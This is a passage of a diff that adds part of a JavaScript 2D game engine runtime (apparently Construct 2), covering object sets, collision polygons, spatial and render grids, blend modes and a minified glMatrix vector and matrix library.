+ var isEjecta = false;
+ if (typeof window !== "undefined") // not c2 editor
+ {
+ isChrome = /chrome/i.test(navigator.userAgent) || /chromium/i.test(navigator.userAgent);
+ isSafari = !isChrome && /safari/i.test(navigator.userAgent);
+ isiOS = /(iphone|ipod|ipad)/i.test(navigator.userAgent);
+ isEjecta = window["c2ejecta"];
+ }
+ var supports_set = ((!isSafari && !isEjecta && !isiOS) && (typeof Set !== "undefined" && typeof Set.prototype["forEach"] !== "undefined"));
+ function ObjectSet_()
+ {
+ this.s = null;
+ this.items = null; // lazy allocated (hopefully results in better GC performance)
+ this.item_count = 0;
+ if (supports_set)
+ {
+ this.s = new Set();
+ }
+ this.values_cache = [];
+ this.cache_valid = true;
+ cr.seal(this);
+ };
+ ObjectSet_.prototype.contains = function (x)
+ {
+ if (this.isEmpty())
+ return false;
+ if (supports_set)
+ return this.s["has"](x);
+ else
+ return (this.items && this.items.hasOwnProperty(x));
+ };
+ ObjectSet_.prototype.add = function (x)
+ {
+ if (supports_set)
+ {
+ if (!this.s["has"](x))
+ {
+ this.s["add"](x);
+ this.cache_valid = false;
+ }
+ }
+ else
+ {
+ var str = x.toString();
+ var items = this.items;
+ if (!items)
+ {
+ this.items = {};
+ this.items[str] = x;
+ this.item_count = 1;
+ this.cache_valid = false;
+ }
+ else if (!items.hasOwnProperty(str))
+ {
+ items[str] = x;
+ this.item_count++;
+ this.cache_valid = false;
+ }
+ }
+ };
+ ObjectSet_.prototype.remove = function (x)
+ {
+ if (this.isEmpty())
+ return;
+ if (supports_set)
+ {
+ if (this.s["has"](x))
+ {
+ this.s["delete"](x);
+ this.cache_valid = false;
+ }
+ }
+ else if (this.items)
+ {
+ var str = x.toString();
+ var items = this.items;
+ if (items.hasOwnProperty(str))
+ {
+ delete items[str];
+ this.item_count--;
+ this.cache_valid = false;
+ }
+ }
+ };
+ ObjectSet_.prototype.clear = function (/*wipe_*/)
+ {
+ if (this.isEmpty())
+ return;
+ if (supports_set)
+ {
+ this.s["clear"](); // best!
+ }
+ else
+ {
+ this.items = null; // creates garbage; will lazy allocate on next add()
+ this.item_count = 0;
+ }
+ cr.clearArray(this.values_cache);
+ this.cache_valid = true;
+ };
+ ObjectSet_.prototype.isEmpty = function ()
+ {
+ return this.count() === 0;
+ };
+ ObjectSet_.prototype.count = function ()
+ {
+ if (supports_set)
+ return this.s["size"];
+ else
+ return this.item_count;
+ };
+ var current_arr = null;
+ var current_index = 0;
+ function set_append_to_arr(x)
+ {
+ current_arr[current_index++] = x;
+ };
+ ObjectSet_.prototype.update_cache = function ()
+ {
+ if (this.cache_valid)
+ return;
+ if (supports_set)
+ {
+ cr.clearArray(this.values_cache);
+ current_arr = this.values_cache;
+ current_index = 0;
+ this.s["forEach"](set_append_to_arr);
+;
+ current_arr = null;
+ current_index = 0;
+ }
+ else
+ {
+ var values_cache = this.values_cache;
+ cr.clearArray(values_cache);
+ var p, n = 0, items = this.items;
+ if (items)
+ {
+ for (p in items)
+ {
+ if (items.hasOwnProperty(p))
+ values_cache[n++] = items[p];
+ }
+ }
+;
+ }
+ this.cache_valid = true;
+ };
+ ObjectSet_.prototype.valuesRef = function ()
+ {
+ this.update_cache();
+ return this.values_cache;
+ };
+ cr.ObjectSet = ObjectSet_;
+ var tmpSet = new cr.ObjectSet();
+ cr.removeArrayDuplicates = function (arr)
+ {
+ var i, len;
+ for (i = 0, len = arr.length; i < len; ++i)
+ {
+ tmpSet.add(arr[i]);
+ }
+ cr.shallowAssignArray(arr, tmpSet.valuesRef());
+ tmpSet.clear();
+ };
+ cr.arrayRemoveAllFromObjectSet = function (arr, remset)
+ {
+ if (supports_set)
+ cr.arrayRemoveAll_set(arr, remset.s);
+ else
+ cr.arrayRemoveAll_arr(arr, remset.valuesRef());
+ };
+ cr.arrayRemoveAll_set = function (arr, s)
+ {
+ var i, j, len, item;
+ for (i = 0, j = 0, len = arr.length; i < len; ++i)
+ {
+ item = arr[i];
+ if (!s["has"](item)) // not an item to remove
+ arr[j++] = item; // keep it
+ }
+ cr.truncateArray(arr, j);
+ };
+ cr.arrayRemoveAll_arr = function (arr, rem)
+ {
+ var i, j, len, item;
+ for (i = 0, j = 0, len = arr.length; i < len; ++i)
+ {
+ item = arr[i];
+ if (cr.fastIndexOf(rem, item) === -1) // not an item to remove
+ arr[j++] = item; // keep it
+ }
+ cr.truncateArray(arr, j);
+ };
+ function KahanAdder_()
+ {
+ this.c = 0;
+ this.y = 0;
+ this.t = 0;
+ this.sum = 0;
+ cr.seal(this);
+ };
+ KahanAdder_.prototype.add = function (v)
+ {
+ this.y = v - this.c;
+ this.t = this.sum + this.y;
+ this.c = (this.t - this.sum) - this.y;
+ this.sum = this.t;
+ };
+ KahanAdder_.prototype.reset = function ()
+ {
+ this.c = 0;
+ this.y = 0;
+ this.t = 0;
+ this.sum = 0;
+ };
+ cr.KahanAdder = KahanAdder_;
+ cr.regexp_escape = function(text)
+ {
+ return text.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
+ };
+ function CollisionPoly_(pts_array_)
+ {
+ this.pts_cache = [];
+ this.bboxLeft = 0;
+ this.bboxTop = 0;
+ this.bboxRight = 0;
+ this.bboxBottom = 0;
+ this.convexpolys = null; // for physics behavior to cache separated polys
+ this.set_pts(pts_array_);
+ cr.seal(this);
+ };
+ CollisionPoly_.prototype.set_pts = function(pts_array_)
+ {
+ this.pts_array = pts_array_;
+ this.pts_count = pts_array_.length / 2; // x, y, x, y... in array
+ this.pts_cache.length = pts_array_.length;
+ this.cache_width = -1;
+ this.cache_height = -1;
+ this.cache_angle = 0;
+ };
+ CollisionPoly_.prototype.is_empty = function()
+ {
+ return !this.pts_array.length;
+ };
+ CollisionPoly_.prototype.update_bbox = function ()
+ {
+ var myptscache = this.pts_cache;
+ var bboxLeft_ = myptscache[0];
+ var bboxRight_ = bboxLeft_;
+ var bboxTop_ = myptscache[1];
+ var bboxBottom_ = bboxTop_;
+ var x, y, i = 1, i2, len = this.pts_count;
+ for ( ; i < len; ++i)
+ {
+ i2 = i*2;
+ x = myptscache[i2];
+ y = myptscache[i2+1];
+ if (x < bboxLeft_)
+ bboxLeft_ = x;
+ if (x > bboxRight_)
+ bboxRight_ = x;
+ if (y < bboxTop_)
+ bboxTop_ = y;
+ if (y > bboxBottom_)
+ bboxBottom_ = y;
+ }
+ this.bboxLeft = bboxLeft_;
+ this.bboxRight = bboxRight_;
+ this.bboxTop = bboxTop_;
+ this.bboxBottom = bboxBottom_;
+ };
+ CollisionPoly_.prototype.set_from_rect = function(rc, offx, offy)
+ {
+ this.pts_cache.length = 8;
+ this.pts_count = 4;
+ var myptscache = this.pts_cache;
+ myptscache[0] = rc.left - offx;
+ myptscache[1] = rc.top - offy;
+ myptscache[2] = rc.right - offx;
+ myptscache[3] = rc.top - offy;
+ myptscache[4] = rc.right - offx;
+ myptscache[5] = rc.bottom - offy;
+ myptscache[6] = rc.left - offx;
+ myptscache[7] = rc.bottom - offy;
+ this.cache_width = rc.right - rc.left;
+ this.cache_height = rc.bottom - rc.top;
+ this.update_bbox();
+ };
+ CollisionPoly_.prototype.set_from_quad = function(q, offx, offy, w, h)
+ {
+ this.pts_cache.length = 8;
+ this.pts_count = 4;
+ var myptscache = this.pts_cache;
+ myptscache[0] = q.tlx - offx;
+ myptscache[1] = q.tly - offy;
+ myptscache[2] = q.trx - offx;
+ myptscache[3] = q.try_ - offy;
+ myptscache[4] = q.brx - offx;
+ myptscache[5] = q.bry - offy;
+ myptscache[6] = q.blx - offx;
+ myptscache[7] = q.bly - offy;
+ this.cache_width = w;
+ this.cache_height = h;
+ this.update_bbox();
+ };
+ CollisionPoly_.prototype.set_from_poly = function (r)
+ {
+ this.pts_count = r.pts_count;
+ cr.shallowAssignArray(this.pts_cache, r.pts_cache);
+ this.bboxLeft = r.bboxLeft;
+ this.bboxTop = r.bboxTop;
+ this.bboxRight = r.bboxRight;
+ this.bboxBottom = r.bboxBottom;
+ };
+ CollisionPoly_.prototype.cache_poly = function(w, h, a)
+ {
+ if (this.cache_width === w && this.cache_height === h && this.cache_angle === a)
+ return; // cache up-to-date
+ this.cache_width = w;
+ this.cache_height = h;
+ this.cache_angle = a;
+ var i, i2, i21, len, x, y;
+ var sina = 0;
+ var cosa = 1;
+ var myptsarray = this.pts_array;
+ var myptscache = this.pts_cache;
+ if (a !== 0)
+ {
+ sina = Math.sin(a);
+ cosa = Math.cos(a);
+ }
+ for (i = 0, len = this.pts_count; i < len; i++)
+ {
+ i2 = i*2;
+ i21 = i2+1;
+ x = myptsarray[i2] * w;
+ y = myptsarray[i21] * h;
+ myptscache[i2] = (x * cosa) - (y * sina);
+ myptscache[i21] = (y * cosa) + (x * sina);
+ }
+ this.update_bbox();
+ };
+ CollisionPoly_.prototype.contains_pt = function (a2x, a2y)
+ {
+ var myptscache = this.pts_cache;
+ if (a2x === myptscache[0] && a2y === myptscache[1])
+ return true;
+ var i, i2, imod, len = this.pts_count;
+ var a1x = this.bboxLeft - 110;
+ var a1y = this.bboxTop - 101;
+ var a3x = this.bboxRight + 131
+ var a3y = this.bboxBottom + 120;
+ var b1x, b1y, b2x, b2y;
+ var count1 = 0, count2 = 0;
+ for (i = 0; i < len; i++)
+ {
+ i2 = i*2;
+ imod = ((i+1)%len)*2;
+ b1x = myptscache[i2];
+ b1y = myptscache[i2+1];
+ b2x = myptscache[imod];
+ b2y = myptscache[imod+1];
+ if (cr.segments_intersect(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y))
+ count1++;
+ if (cr.segments_intersect(a3x, a3y, a2x, a2y, b1x, b1y, b2x, b2y))
+ count2++;
+ }
+ return (count1 % 2 === 1) || (count2 % 2 === 1);
+ };
+ CollisionPoly_.prototype.intersects_poly = function (rhs, offx, offy)
+ {
+ var rhspts = rhs.pts_cache;
+ var mypts = this.pts_cache;
+ if (this.contains_pt(rhspts[0] + offx, rhspts[1] + offy))
+ return true;
+ if (rhs.contains_pt(mypts[0] - offx, mypts[1] - offy))
+ return true;
+ var i, i2, imod, leni, j, j2, jmod, lenj;
+ var a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y;
+ for (i = 0, leni = this.pts_count; i < leni; i++)
+ {
+ i2 = i*2;
+ imod = ((i+1)%leni)*2;
+ a1x = mypts[i2];
+ a1y = mypts[i2+1];
+ a2x = mypts[imod];
+ a2y = mypts[imod+1];
+ for (j = 0, lenj = rhs.pts_count; j < lenj; j++)
+ {
+ j2 = j*2;
+ jmod = ((j+1)%lenj)*2;
+ b1x = rhspts[j2] + offx;
+ b1y = rhspts[j2+1] + offy;
+ b2x = rhspts[jmod] + offx;
+ b2y = rhspts[jmod+1] + offy;
+ if (cr.segments_intersect(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y))
+ return true;
+ }
+ }
+ return false;
+ };
+ CollisionPoly_.prototype.intersects_segment = function (offx, offy, x1, y1, x2, y2)
+ {
+ var mypts = this.pts_cache;
+ if (this.contains_pt(x1 - offx, y1 - offy))
+ return true;
+ var i, leni, i2, imod;
+ var a1x, a1y, a2x, a2y;
+ for (i = 0, leni = this.pts_count; i < leni; i++)
+ {
+ i2 = i*2;
+ imod = ((i+1)%leni)*2;
+ a1x = mypts[i2] + offx;
+ a1y = mypts[i2+1] + offy;
+ a2x = mypts[imod] + offx;
+ a2y = mypts[imod+1] + offy;
+ if (cr.segments_intersect(x1, y1, x2, y2, a1x, a1y, a2x, a2y))
+ return true;
+ }
+ return false;
+ };
+ CollisionPoly_.prototype.mirror = function (px)
+ {
+ var i, leni, i2;
+ for (i = 0, leni = this.pts_count; i < leni; ++i)
+ {
+ i2 = i*2;
+ this.pts_cache[i2] = px * 2 - this.pts_cache[i2];
+ }
+ };
+ CollisionPoly_.prototype.flip = function (py)
+ {
+ var i, leni, i21;
+ for (i = 0, leni = this.pts_count; i < leni; ++i)
+ {
+ i21 = i*2+1;
+ this.pts_cache[i21] = py * 2 - this.pts_cache[i21];
+ }
+ };
+ CollisionPoly_.prototype.diag = function ()
+ {
+ var i, leni, i2, i21, temp;
+ for (i = 0, leni = this.pts_count; i < leni; ++i)
+ {
+ i2 = i*2;
+ i21 = i2+1;
+ temp = this.pts_cache[i2];
+ this.pts_cache[i2] = this.pts_cache[i21];
+ this.pts_cache[i21] = temp;
+ }
+ };
+ cr.CollisionPoly = CollisionPoly_;
+ function SparseGrid_(cellwidth_, cellheight_)
+ {
+ this.cellwidth = cellwidth_;
+ this.cellheight = cellheight_;
+ this.cells = {};
+ };
+ SparseGrid_.prototype.totalCellCount = 0;
+ SparseGrid_.prototype.getCell = function (x_, y_, create_if_missing)
+ {
+ var ret;
+ var col = this.cells[x_];
+ if (!col)
+ {
+ if (create_if_missing)
+ {
+ ret = allocGridCell(this, x_, y_);
+ this.cells[x_] = {};
+ this.cells[x_][y_] = ret;
+ return ret;
+ }
+ else
+ return null;
+ }
+ ret = col[y_];
+ if (ret)
+ return ret;
+ else if (create_if_missing)
+ {
+ ret = allocGridCell(this, x_, y_);
+ this.cells[x_][y_] = ret;
+ return ret;
+ }
+ else
+ return null;
+ };
+ SparseGrid_.prototype.XToCell = function (x_)
+ {
+ return cr.floor(x_ / this.cellwidth);
+ };
+ SparseGrid_.prototype.YToCell = function (y_)
+ {
+ return cr.floor(y_ / this.cellheight);
+ };
+ SparseGrid_.prototype.update = function (inst, oldrange, newrange)
+ {
+ var x, lenx, y, leny, cell;
+ if (oldrange)
+ {
+ for (x = oldrange.left, lenx = oldrange.right; x <= lenx; ++x)
+ {
+ for (y = oldrange.top, leny = oldrange.bottom; y <= leny; ++y)
+ {
+ if (newrange && newrange.contains_pt(x, y))
+ continue; // is still in this cell
+ cell = this.getCell(x, y, false); // don't create if missing
+ if (!cell)
+ continue; // cell does not exist yet
+ cell.remove(inst);
+ if (cell.isEmpty())
+ {
+ freeGridCell(cell);
+ this.cells[x][y] = null;
+ }
+ }
+ }
+ }
+ if (newrange)
+ {
+ for (x = newrange.left, lenx = newrange.right; x <= lenx; ++x)
+ {
+ for (y = newrange.top, leny = newrange.bottom; y <= leny; ++y)
+ {
+ if (oldrange && oldrange.contains_pt(x, y))
+ continue; // is still in this cell
+ this.getCell(x, y, true).insert(inst);
+ }
+ }
+ }
+ };
+ SparseGrid_.prototype.queryRange = function (rc, result)
+ {
+ var x, lenx, ystart, y, leny, cell;
+ x = this.XToCell(rc.left);
+ ystart = this.YToCell(rc.top);
+ lenx = this.XToCell(rc.right);
+ leny = this.YToCell(rc.bottom);
+ for ( ; x <= lenx; ++x)
+ {
+ for (y = ystart; y <= leny; ++y)
+ {
+ cell = this.getCell(x, y, false);
+ if (!cell)
+ continue;
+ cell.dump(result);
+ }
+ }
+ };
+ cr.SparseGrid = SparseGrid_;
+ function RenderGrid_(cellwidth_, cellheight_)
+ {
+ this.cellwidth = cellwidth_;
+ this.cellheight = cellheight_;
+ this.cells = {};
+ };
+ RenderGrid_.prototype.totalCellCount = 0;
+ RenderGrid_.prototype.getCell = function (x_, y_, create_if_missing)
+ {
+ var ret;
+ var col = this.cells[x_];
+ if (!col)
+ {
+ if (create_if_missing)
+ {
+ ret = allocRenderCell(this, x_, y_);
+ this.cells[x_] = {};
+ this.cells[x_][y_] = ret;
+ return ret;
+ }
+ else
+ return null;
+ }
+ ret = col[y_];
+ if (ret)
+ return ret;
+ else if (create_if_missing)
+ {
+ ret = allocRenderCell(this, x_, y_);
+ this.cells[x_][y_] = ret;
+ return ret;
+ }
+ else
+ return null;
+ };
+ RenderGrid_.prototype.XToCell = function (x_)
+ {
+ return cr.floor(x_ / this.cellwidth);
+ };
+ RenderGrid_.prototype.YToCell = function (y_)
+ {
+ return cr.floor(y_ / this.cellheight);
+ };
+ RenderGrid_.prototype.update = function (inst, oldrange, newrange)
+ {
+ var x, lenx, y, leny, cell;
+ if (oldrange)
+ {
+ for (x = oldrange.left, lenx = oldrange.right; x <= lenx; ++x)
+ {
+ for (y = oldrange.top, leny = oldrange.bottom; y <= leny; ++y)
+ {
+ if (newrange && newrange.contains_pt(x, y))
+ continue; // is still in this cell
+ cell = this.getCell(x, y, false); // don't create if missing
+ if (!cell)
+ continue; // cell does not exist yet
+ cell.remove(inst);
+ if (cell.isEmpty())
+ {
+ freeRenderCell(cell);
+ this.cells[x][y] = null;
+ }
+ }
+ }
+ }
+ if (newrange)
+ {
+ for (x = newrange.left, lenx = newrange.right; x <= lenx; ++x)
+ {
+ for (y = newrange.top, leny = newrange.bottom; y <= leny; ++y)
+ {
+ if (oldrange && oldrange.contains_pt(x, y))
+ continue; // is still in this cell
+ this.getCell(x, y, true).insert(inst);
+ }
+ }
+ }
+ };
+ RenderGrid_.prototype.queryRange = function (left, top, right, bottom, result)
+ {
+ var x, lenx, ystart, y, leny, cell;
+ x = this.XToCell(left);
+ ystart = this.YToCell(top);
+ lenx = this.XToCell(right);
+ leny = this.YToCell(bottom);
+ for ( ; x <= lenx; ++x)
+ {
+ for (y = ystart; y <= leny; ++y)
+ {
+ cell = this.getCell(x, y, false);
+ if (!cell)
+ continue;
+ cell.dump(result);
+ }
+ }
+ };
+ RenderGrid_.prototype.markRangeChanged = function (rc)
+ {
+ var x, lenx, ystart, y, leny, cell;
+ x = rc.left;
+ ystart = rc.top;
+ lenx = rc.right;
+ leny = rc.bottom;
+ for ( ; x <= lenx; ++x)
+ {
+ for (y = ystart; y <= leny; ++y)
+ {
+ cell = this.getCell(x, y, false);
+ if (!cell)
+ continue;
+ cell.is_sorted = false;
+ }
+ }
+ };
+ cr.RenderGrid = RenderGrid_;
+ var gridcellcache = [];
+ function allocGridCell(grid_, x_, y_)
+ {
+ var ret;
+ SparseGrid_.prototype.totalCellCount++;
+ if (gridcellcache.length)
+ {
+ ret = gridcellcache.pop();
+ ret.grid = grid_;
+ ret.x = x_;
+ ret.y = y_;
+ return ret;
+ }
+ else
+ return new cr.GridCell(grid_, x_, y_);
+ };
+ function freeGridCell(c)
+ {
+ SparseGrid_.prototype.totalCellCount--;
+ c.objects.clear();
+ if (gridcellcache.length < 1000)
+ gridcellcache.push(c);
+ };
+ function GridCell_(grid_, x_, y_)
+ {
+ this.grid = grid_;
+ this.x = x_;
+ this.y = y_;
+ this.objects = new cr.ObjectSet();
+ };
+ GridCell_.prototype.isEmpty = function ()
+ {
+ return this.objects.isEmpty();
+ };
+ GridCell_.prototype.insert = function (inst)
+ {
+ this.objects.add(inst);
+ };
+ GridCell_.prototype.remove = function (inst)
+ {
+ this.objects.remove(inst);
+ };
+ GridCell_.prototype.dump = function (result)
+ {
+ cr.appendArray(result, this.objects.valuesRef());
+ };
+ cr.GridCell = GridCell_;
+ var rendercellcache = [];
+ function allocRenderCell(grid_, x_, y_)
+ {
+ var ret;
+ RenderGrid_.prototype.totalCellCount++;
+ if (rendercellcache.length)
+ {
+ ret = rendercellcache.pop();
+ ret.grid = grid_;
+ ret.x = x_;
+ ret.y = y_;
+ return ret;
+ }
+ else
+ return new cr.RenderCell(grid_, x_, y_);
+ };
+ function freeRenderCell(c)
+ {
+ RenderGrid_.prototype.totalCellCount--;
+ c.reset();
+ if (rendercellcache.length < 1000)
+ rendercellcache.push(c);
+ };
+ function RenderCell_(grid_, x_, y_)
+ {
+ this.grid = grid_;
+ this.x = x_;
+ this.y = y_;
+ this.objects = []; // array which needs to be sorted by Z order
+ this.is_sorted = true; // whether array is in correct sort order or not
+ this.pending_removal = new cr.ObjectSet();
+ this.any_pending_removal = false;
+ };
+ RenderCell_.prototype.isEmpty = function ()
+ {
+ if (!this.objects.length)
+ {
+;
+;
+ return true;
+ }
+ if (this.objects.length > this.pending_removal.count())
+ return false;
+;
+ this.flush_pending(); // takes fast path and just resets state
+ return true;
+ };
+ RenderCell_.prototype.insert = function (inst)
+ {
+ if (this.pending_removal.contains(inst))
+ {
+ this.pending_removal.remove(inst);
+ if (this.pending_removal.isEmpty())
+ this.any_pending_removal = false;
+ return;
+ }
+ if (this.objects.length)
+ {
+ var top = this.objects[this.objects.length - 1];
+ if (top.get_zindex() > inst.get_zindex())
+ this.is_sorted = false; // 'inst' should be somewhere beneath 'top'
+ this.objects.push(inst);
+ }
+ else
+ {
+ this.objects.push(inst);
+ this.is_sorted = true;
+ }
+;
+ };
+ RenderCell_.prototype.remove = function (inst)
+ {
+ this.pending_removal.add(inst);
+ this.any_pending_removal = true;
+ if (this.pending_removal.count() >= 30)
+ this.flush_pending();
+ };
+ RenderCell_.prototype.flush_pending = function ()
+ {
+;
+ if (!this.any_pending_removal)
+ return; // not changed
+ if (this.pending_removal.count() === this.objects.length)
+ {
+ this.reset();
+ return;
+ }
+ cr.arrayRemoveAllFromObjectSet(this.objects, this.pending_removal);
+ this.pending_removal.clear();
+ this.any_pending_removal = false;
+ };
+ function sortByInstanceZIndex(a, b)
+ {
+ return a.zindex - b.zindex;
+ };
+ RenderCell_.prototype.ensure_sorted = function ()
+ {
+ if (this.is_sorted)
+ return; // already sorted
+ this.objects.sort(sortByInstanceZIndex);
+ this.is_sorted = true;
+ };
+ RenderCell_.prototype.reset = function ()
+ {
+ cr.clearArray(this.objects);
+ this.is_sorted = true;
+ this.pending_removal.clear();
+ this.any_pending_removal = false;
+ };
+ RenderCell_.prototype.dump = function (result)
+ {
+ this.flush_pending();
+ this.ensure_sorted();
+ if (this.objects.length)
+ result.push(this.objects);
+ };
+ cr.RenderCell = RenderCell_;
+ var fxNames = [ "lighter",
+ "xor",
+ "copy",
+ "destination-over",
+ "source-in",
+ "destination-in",
+ "source-out",
+ "destination-out",
+ "source-atop",
+ "destination-atop"];
+ cr.effectToCompositeOp = function(effect)
+ {
+ if (effect <= 0 || effect >= 11)
+ return "source-over";
+ return fxNames[effect - 1]; // not including "none" so offset by 1
+ };
+ cr.setGLBlend = function(this_, effect, gl)
+ {
+ if (!gl)
+ return;
+ this_.srcBlend = gl.ONE;
+ this_.destBlend = gl.ONE_MINUS_SRC_ALPHA;
+ switch (effect) {
+ case 1: // lighter (additive)
+ this_.srcBlend = gl.ONE;
+ this_.destBlend = gl.ONE;
+ break;
+ case 2: // xor
+ break; // todo
+ case 3: // copy
+ this_.srcBlend = gl.ONE;
+ this_.destBlend = gl.ZERO;
+ break;
+ case 4: // destination-over
+ this_.srcBlend = gl.ONE_MINUS_DST_ALPHA;
+ this_.destBlend = gl.ONE;
+ break;
+ case 5: // source-in
+ this_.srcBlend = gl.DST_ALPHA;
+ this_.destBlend = gl.ZERO;
+ break;
+ case 6: // destination-in
+ this_.srcBlend = gl.ZERO;
+ this_.destBlend = gl.SRC_ALPHA;
+ break;
+ case 7: // source-out
+ this_.srcBlend = gl.ONE_MINUS_DST_ALPHA;
+ this_.destBlend = gl.ZERO;
+ break;
+ case 8: // destination-out
+ this_.srcBlend = gl.ZERO;
+ this_.destBlend = gl.ONE_MINUS_SRC_ALPHA;
+ break;
+ case 9: // source-atop
+ this_.srcBlend = gl.DST_ALPHA;
+ this_.destBlend = gl.ONE_MINUS_SRC_ALPHA;
+ break;
+ case 10: // destination-atop
+ this_.srcBlend = gl.ONE_MINUS_DST_ALPHA;
+ this_.destBlend = gl.SRC_ALPHA;
+ break;
+ }
+ };
+ cr.round6dp = function (x)
+ {
+ return Math.round(x * 1000000) / 1000000;
+ };
+ /*
+ var localeCompare_options = {
+ "usage": "search",
+ "sensitivity": "accent"
+ };
+ var has_localeCompare = !!"a".localeCompare;
+ var localeCompare_works1 = (has_localeCompare && "a".localeCompare("A", undefined, localeCompare_options) === 0);
+ var localeCompare_works2 = (has_localeCompare && "a".localeCompare("รก", undefined, localeCompare_options) !== 0);
+ var supports_localeCompare = (has_localeCompare && localeCompare_works1 && localeCompare_works2);
+ */
+ cr.equals_nocase = function (a, b)
+ {
+ if (typeof a !== "string" || typeof b !== "string")
+ return false;
+ if (a.length !== b.length)
+ return false;
+ if (a === b)
+ return true;
+ /*
+ if (supports_localeCompare)
+ {
+ return (a.localeCompare(b, undefined, localeCompare_options) === 0);
+ }
+ else
+ {
+ */
+ return a.toLowerCase() === b.toLowerCase();
+ };
+ cr.isCanvasInputEvent = function (e)
+ {
+ var target = e.target;
+ if (!target)
+ return true;
+ if (target === document || target === window)
+ return true;
+ if (document && document.body && target === document.body)
+ return true;
+ if (cr.equals_nocase(target.tagName, "canvas"))
+ return true;
+ return false;
+ };
+}());
+var MatrixArray=typeof Float32Array!=="undefined"?Float32Array:Array,glMatrixArrayType=MatrixArray,vec3={},mat3={},mat4={},quat4={};vec3.create=function(a){var b=new MatrixArray(3);a&&(b[0]=a[0],b[1]=a[1],b[2]=a[2]);return b};vec3.set=function(a,b){b[0]=a[0];b[1]=a[1];b[2]=a[2];return b};vec3.add=function(a,b,c){if(!c||a===c)return a[0]+=b[0],a[1]+=b[1],a[2]+=b[2],a;c[0]=a[0]+b[0];c[1]=a[1]+b[1];c[2]=a[2]+b[2];return c};
+vec3.subtract=function(a,b,c){if(!c||a===c)return a[0]-=b[0],a[1]-=b[1],a[2]-=b[2],a;c[0]=a[0]-b[0];c[1]=a[1]-b[1];c[2]=a[2]-b[2];return c};vec3.negate=function(a,b){b||(b=a);b[0]=-a[0];b[1]=-a[1];b[2]=-a[2];return b};vec3.scale=function(a,b,c){if(!c||a===c)return a[0]*=b,a[1]*=b,a[2]*=b,a;c[0]=a[0]*b;c[1]=a[1]*b;c[2]=a[2]*b;return c};
+vec3.normalize=function(a,b){b||(b=a);var c=a[0],d=a[1],e=a[2],g=Math.sqrt(c*c+d*d+e*e);if(g){if(g===1)return b[0]=c,b[1]=d,b[2]=e,b}else return b[0]=0,b[1]=0,b[2]=0,b;g=1/g;b[0]=c*g;b[1]=d*g;b[2]=e*g;return b};vec3.cross=function(a,b,c){c||(c=a);var d=a[0],e=a[1],a=a[2],g=b[0],f=b[1],b=b[2];c[0]=e*b-a*f;c[1]=a*g-d*b;c[2]=d*f-e*g;return c};vec3.length=function(a){var b=a[0],c=a[1],a=a[2];return Math.sqrt(b*b+c*c+a*a)};vec3.dot=function(a,b){return a[0]*b[0]+a[1]*b[1]+a[2]*b[2]};
+vec3.direction=function(a,b,c){c||(c=a);var d=a[0]-b[0],e=a[1]-b[1],a=a[2]-b[2],b=Math.sqrt(d*d+e*e+a*a);if(!b)return c[0]=0,c[1]=0,c[2]=0,c;b=1/b;c[0]=d*b;c[1]=e*b;c[2]=a*b;return c};vec3.lerp=function(a,b,c,d){d||(d=a);d[0]=a[0]+c*(b[0]-a[0]);d[1]=a[1]+c*(b[1]-a[1]);d[2]=a[2]+c*(b[2]-a[2]);return d};vec3.str=function(a){return"["+a[0]+", "+a[1]+", "+a[2]+"]"};
+mat3.create=function(a){var b=new MatrixArray(9);a&&(b[0]=a[0],b[1]=a[1],b[2]=a[2],b[3]=a[3],b[4]=a[4],b[5]=a[5],b[6]=a[6],b[7]=a[7],b[8]=a[8]);return b};mat3.set=function(a,b){b[0]=a[0];b[1]=a[1];b[2]=a[2];b[3]=a[3];b[4]=a[4];b[5]=a[5];b[6]=a[6];b[7]=a[7];b[8]=a[8];return b};mat3.identity=function(a){a[0]=1;a[1]=0;a[2]=0;a[3]=0;a[4]=1;a[5]=0;a[6]=0;a[7]=0;a[8]=1;return a};
+mat3.transpose=function(a,b){if(!b||a===b){var c=a[1],d=a[2],e=a[5];a[1]=a[3];a[2]=a[6];a[3]=c;a[5]=a[7];a[6]=d;a[7]=e;return a}b[0]=a[0];b[1]=a[3];b[2]=a[6];b[3]=a[1];b[4]=a[4];b[5]=a[7];b[6]=a[2];b[7]=a[5];b[8]=a[8];return b};mat3.toMat4=function(a,b){b||(b=mat4.create());b[15]=1;b[14]=0;b[13]=0;b[12]=0;b[11]=0;b[10]=a[8];b[9]=a[7];b[8]=a[6];b[7]=0;b[6]=a[5];b[5]=a[4];b[4]=a[3];b[3]=0;b[2]=a[2];b[1]=a[1];b[0]=a[0];return b};
+mat3.str=function(a){return"["+a[0]+", "+a[1]+", "+a[2]+", "+a[3]+", "+a[4]+", "+a[5]+", "+a[6]+", "+a[7]+", "+a[8]+"]"};mat4.create=function(a){var b=new MatrixArray(16);a&&(b[0]=a[0],b[1]=a[1],b[2]=a[2],b[3]=a[3],b[4]=a[4],b[5]=a[5],b[6]=a[6],b[7]=a[7],b[8]=a[8],b[9]=a[9],b[10]=a[10],b[11]=a[11],b[12]=a[12],b[13]=a[13],b[14]=a[14],b[15]=a[15]);return b};
+mat4.set=function(a,b){b[0]=a[0];b[1]=a[1];b[2]=a[2];b[3]=a[3];b[4]=a[4];b[5]=a[5];b[6]=a[6];b[7]=a[7];b[8]=a[8];b[9]=a[9];b[10]=a[10];b[11]=a[11];b[12]=a[12];b[13]=a[13];b[14]=a[14];b[15]=a[15];return b};mat4.identity=function(a){a[0]=1;a[1]=0;a[2]=0;a[3]=0;a[4]=0;a[5]=1;a[6]=0;a[7]=0;a[8]=0;a[9]=0;a[10]=1;a[11]=0;a[12]=0;a[13]=0;a[14]=0;a[15]=1;return a};
+mat4.transpose=function(a,b){if(!b||a===b){var c=a[1],d=a[2],e=a[3],g=a[6],f=a[7],h=a[11];a[1]=a[4];a[2]=a[8];a[3]=a[12];a[4]=c;a[6]=a[9];a[7]=a[13];a[8]=d;a[9]=g;a[11]=a[14];a[12]=e;a[13]=f;a[14]=h;return a}b[0]=a[0];b[1]=a[4];b[2]=a[8];b[3]=a[12];b[4]=a[1];b[5]=a[5];b[6]=a[9];b[7]=a[13];b[8]=a[2];b[9]=a[6];b[10]=a[10];b[11]=a[14];b[12]=a[3];b[13]=a[7];b[14]=a[11];b[15]=a[15];return b};
